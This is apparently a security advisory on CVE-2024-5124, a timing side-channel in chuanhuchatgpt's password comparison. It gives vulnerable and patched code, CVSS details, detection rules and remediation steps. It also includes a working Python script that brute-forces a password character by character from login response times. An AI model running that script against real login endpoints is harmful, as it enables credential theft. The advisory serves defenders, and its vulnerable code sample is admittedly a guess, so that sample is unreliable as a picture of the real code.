CVE-2024-5124

Executive Summary

CVE-2024-5124 is a timing attack vulnerability in the gaizhenbiao/chuanhuchatgpt repository, specifically in version 20240310. The flaw resides in the password comparison logic, where Python’s == operator is used instead of a constant-time comparison function. This allows an attacker to perform a side-channel attack by measuring response times for each character guess, enabling the gradual extraction of user passwords. The vulnerability has a CVSS score of 7.5 (High) and an EPSS score of 0.0%, indicating low exploitation likelihood at this time. No public exploit code or patch is available.

Supply Chain & Package Security

This vulnerability affects a Python-based repository (chuanhuchatgpt). As a PyPI-like package, it is critical to verify the integrity of the software supply chain. Users should audit dependencies and consider using constant-time comparison libraries (e.g., hmac.compare_digest) to mitigate timing attacks. No official patch has been released, so manual remediation is required.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: None
• Availability Impact: None
• Threat Level: High (due to potential credential exposure)

Deep Dive & Mechanics

The vulnerability is a classic timing side-channel attack. In Python, the == operator compares strings character by character and returns False as soon as a mismatch is found. This means the comparison time is proportional to the number of matching characters. An attacker can exploit this by:

1. Sending login requests with a guessed password.
2. Measuring the response time for each request.
3. Iteratively guessing each character of the password based on timing differences.

For example, if the correct password is "secret123", a guess of "s" will take slightly longer than a guess of "a" because the first character matches. By repeating this process, the attacker can reconstruct the entire password.

The vulnerable code segment likely resembles:

if user_password == input_password:
    # login success
else:
    # login failure

Vulnerable vs. Patched Code

Vulnerable Code (version 20240310)

def check_password(username, password):
    # Assume user_password is retrieved from database
    if user_password == password:
        return True
    return False

Patched Code (recommended)

import hmac

def check_password(username, password):
    # Assume user_password is retrieved from database
    if hmac.compare_digest(user_password, password):
        return True
    return False

The patched version uses hmac.compare_digest, which performs a constant-time comparison, preventing timing side-channel attacks.

Exploitation & Lab Setup

Red Team (Exploitation)

Lab Setup:

• Target: chuanhuchatgpt version 20240310 running on a local server.
• Attacker: Python script to measure response times.

Exploitation Script:

import requests
import time

def timing_attack(target_url, username, password_length):
    known_password = ""
    for i in range(password_length):
        max_time = 0
        best_char = ""
        for c in "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789":
            test_password = known_password + c
            start = time.time()
            response = requests.post(target_url, data={"username": username, "password": test_password})
            elapsed = time.time() - start
            if elapsed > max_time:
                max_time = elapsed
                best_char = c
        known_password += best_char
        print(f"Found character {i+1}: {best_char}")
    return known_password

# Usage
target = "http://target-server/login"
username = "admin"
password_length = 8
password = timing_attack(target, username, password_length)
print(f"Extracted password: {password}")

Note: This script is for educational purposes only. Unauthorized use is illegal.

Blue Team (Defense)

Detection:

• Monitor for unusual login patterns with varying response times.
• Use WAF rules to rate-limit login attempts.
• Implement constant-time comparison in all authentication logic.

Mitigation:

• Replace == with hmac.compare_digest or similar.
• Add random delays to login responses to mask timing differences.
• Enforce account lockout after failed attempts.

Indicators of Compromise (IOCs)

• Network: Unusual HTTP POST requests to /login endpoint with varying payloads.
• Timing: Response times that correlate with password character guesses (e.g., increasing time for longer correct prefixes).
• Logs: Multiple failed login attempts from the same IP with incremental password guesses.
• File: Presence of timing attack scripts (e.g., timing_attack.py) on attacker systems.

Detection Engineering

YARA Rule

rule CVE_2024_5124_Timing_Attack {
    meta:
        description = "Detects vulnerable password comparison using == in Python"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-5124"
    strings:
        $vuln = "if user_password == password:" nocase
        $vuln2 = "if password == user_password:" nocase
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-5124 Timing Attack Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential timing attack attempts against chuanhuchatgpt login
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: chuanhuchatgpt
detection:
    selection:
        event: "login_attempt"
        response_time: "> 100ms"  # Adjust based on baseline
    condition: selection
falsepositives:
    - Legitimate slow network connections
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-5124 Timing Attack - Multiple Login Attempts"; flow:to_server; content:"POST"; http_method; content:"/login"; http_uri; threshold:type both, track by_src, count 10, seconds 60; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Replace password comparison with hmac.compare_digest in all authentication functions.
2. Short-term: Implement rate limiting and account lockout mechanisms.
3. Long-term: Conduct a security audit of all authentication logic for side-channel vulnerabilities.
4. Monitoring: Deploy the provided detection rules to identify exploitation attempts.
5. Patch: Since no official patch exists, apply the code fix manually and consider forking the repository.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert